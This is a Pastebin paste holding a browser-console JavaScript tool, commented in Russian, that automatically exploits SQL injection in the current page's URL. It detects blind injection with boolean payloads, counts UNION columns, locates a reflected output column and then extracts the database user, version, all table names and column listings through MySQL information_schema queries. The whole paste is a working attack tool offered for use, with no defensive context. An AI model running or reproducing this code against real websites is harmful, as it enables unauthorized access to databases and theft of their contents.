Advertisement
Guest User

SQLi.js

a guest
Jul 7th, 2017
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2.  * @author <tz4678@gmail.com>
  3.  * Тестируем страницу на наличие слепых инъекций
  4.  */
  5. function fetchTitle(url) {
  6.   console.log('fetch title %s', url)
  7.   return fetch(url).then(r => r.text())
  8.     .then(html => new DOMParser().parseFromString(html, 'text/html').title)
  9. }
  10.  
  11.  
  12. // Корректно работает только со строками, содержащими символы в диапазоне
  13. // [\u0000-\u007f]
  14. function str2hex(s) {
  15.   s += ''
  16.   const h = [];
  17.   for (let c of s) {
  18.     c = c.charCodeAt().toString(16)
  19.     h.push('00'.slice(c.length) + c)
  20.   }
  21.   return h.length ? '0x' + h.join('') : ''
  22. }
  23.  
  24.  
  25. function randChars(len = 8, chars = '1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm') {
  26.   let out = ''
  27.   while (out.length < len) {
  28.     out += chars.charAt(Math.floor(Math.random() * chars.length))
  29.   }
  30.   return out
  31. }
  32.  
  33.  
  34. function insertPayload(url, payload) {
  35.   payload = encodeURIComponent(payload)
  36.   if (url.endsWith('/')) {
  37.     return url.slice(0, -1) + payload + '/'
  38.   }
  39.   return url + payload
  40. }
  41.  
  42.  
  43. async function getNumberColumns(url, title, quote) {
  44.   for (let i = 1; i < 128; ++i) {
  45.     // Array(i).map(...) не работает
  46.     // const values = Array(i).fill().map((v, i) => i)
  47.     const values = Array(i).fill('NULL')
  48.     const payload = `${quote} UNION ALL SELECT ${values.join(',')}-- -`
  49.     const urlWithPayload = insertPayload(url, payload)
  50.     const title2 = await fetchTitle(urlWithPayload)
  51.     if (title === title2) {
  52.       return i;
  53.     }
  54.   }
  55. }
  56.  
  57.  
  58. async function getOutputUrl(url, quote, columns) {
  59.   for (let i = 0; i < columns; ++i) {
  60.     const values = Array(i).fill('NULL')
  61.     const needle = randChars()
  62.     const needleHex = str2hex(needle)
  63.     values[i] = needleHex
  64.     const payload = `${quote} AND 1=2 UNION ALL SELECT ${values.join(',')}-- -`
  65.     const urlWithPayload = insertPayload(url, payload)
  66.     console.log('fetch content %s', urlWithPayload)
  67.     const content = await fetch(urlWithPayload).then(r => r.text())
  68.     if (~content.indexOf(needle)) {
  69.       return urlWithPayload.replace(needleHex, '{inject}');
  70.     }
  71.   }
  72. }
  73.  
  74.  
  75. async function extractData(query) {
  76.   const boundary = randChars()
  77.   const boundaryHex = str2hex(boundary)
  78.   const url = outputUrl.replace('{inject}', `concat(${boundaryHex},${encodeURIComponent(query)},${boundaryHex})`)
  79.   console.log('fetch content %s', url)
  80.   const content = await fetch(url).then(r => r.text())
  81.   const parts = content.split(boundary, 2)
  82.   return parts[1]
  83. }
  84.  
  85.  
  86. async function showDatabaseInfo() {
  87.   const data = await extractData("concat_ws(0x09,user(),database(),version())")
  88.   const [user, database, version] = data.split('\t')
  89.   console.table([{user, database, version}])
  90. }
  91.  
  92.  
  93. async function showAllTables() {
  94.   const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.tables)where(table_schema!=${str2hex('information_schema')})and(table_schema!=${str2hex('mysql')})and(@a)in(@a:=concat(@a,table_schema,0x09,table_name,0x0A))))a)`
  95.   const data = await extractData(query)
  96.   const rows = data.slice(1, -1).split('\n').map(row => {
  97.     const [table_schema, table_name] = row.split('\t')
  98.     return {table_schema, table_name}
  99.   })
  100.   console.table(rows)
  101. }
  102.  
  103. async function showTables(schema = null) {
  104.   const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.tables)where(table_schema=${arguments.length ? str2hex(schema) : 'database()'})and(@a)in(@a:=concat(@a,table_name,0x0A))))a)`
  105.   const data = await extractData(query)
  106.   const rows = data.slice(1, -1).split('\n').map(row => {
  107.     const [table_name] = row.split('\t')
  108.     return {table_name}
  109.   })
  110.   console.table(rows)
  111. }
  112.  
  113.  
  114. async function showColumns(table, schema = null) {
  115.   const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.columns)where(table_schema=${arguments.length > 1 ? str2hex(schema) : 'database()'})and(table_name=${str2hex(table)})and(@a)in(@a:=concat(@a,column_name,0x09,column_type,0x0A))))a)`
  116.   const data = await extractData(query)
  117.   const rows = data.slice(1, -1).split('\n').map(row => {
  118.     const [column_name, column_type] = row.split('\t')
  119.     return {column_name, column_type}
  120.   })
  121.   console.table(rows)
  122. }
  123.  
  124.  
  125. (async function () {
  126.   const url = location.href
  127.   const title = document.title
  128.   const quotes = ['', "'", '"']
  129.   for (let quote of quotes) {
  130.     const payload = `${quote} AND ${quote}1${quote}=${quote}`
  131.     const urlWithPayload = insertPayload(url, payload + '1')
  132.     const title2 = await fetchTitle(urlWithPayload)
  133.     console.log('Title#2: %s', title2)
  134.     if (title === title2) {
  135.       const urlWithPayload2 = insertPayload(url, payload + '2')
  136.       const title3 = await fetchTitle(urlWithPayload2)
  137.       console.log('Title#3: %s', title3)
  138.       if (title !== title3) {
  139.         console.info('Blind detected! Url: %s', urlWithPayload)
  140.         const columns = await getNumberColumns(url, title, quote)
  141.         console.log('Number of columns: %d', columns)
  142.         if (columns) {
  143.           window.outputUrl = await getOutputUrl(url, quote, columns)
  144.           if (null === window.outputUrl) {
  145.             console.warn('No output')
  146.           } else {
  147.             console.info('Success')
  148.           }
  149.         }
  150.         break
  151.       }
  152.     }
  153.   }
  154. })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement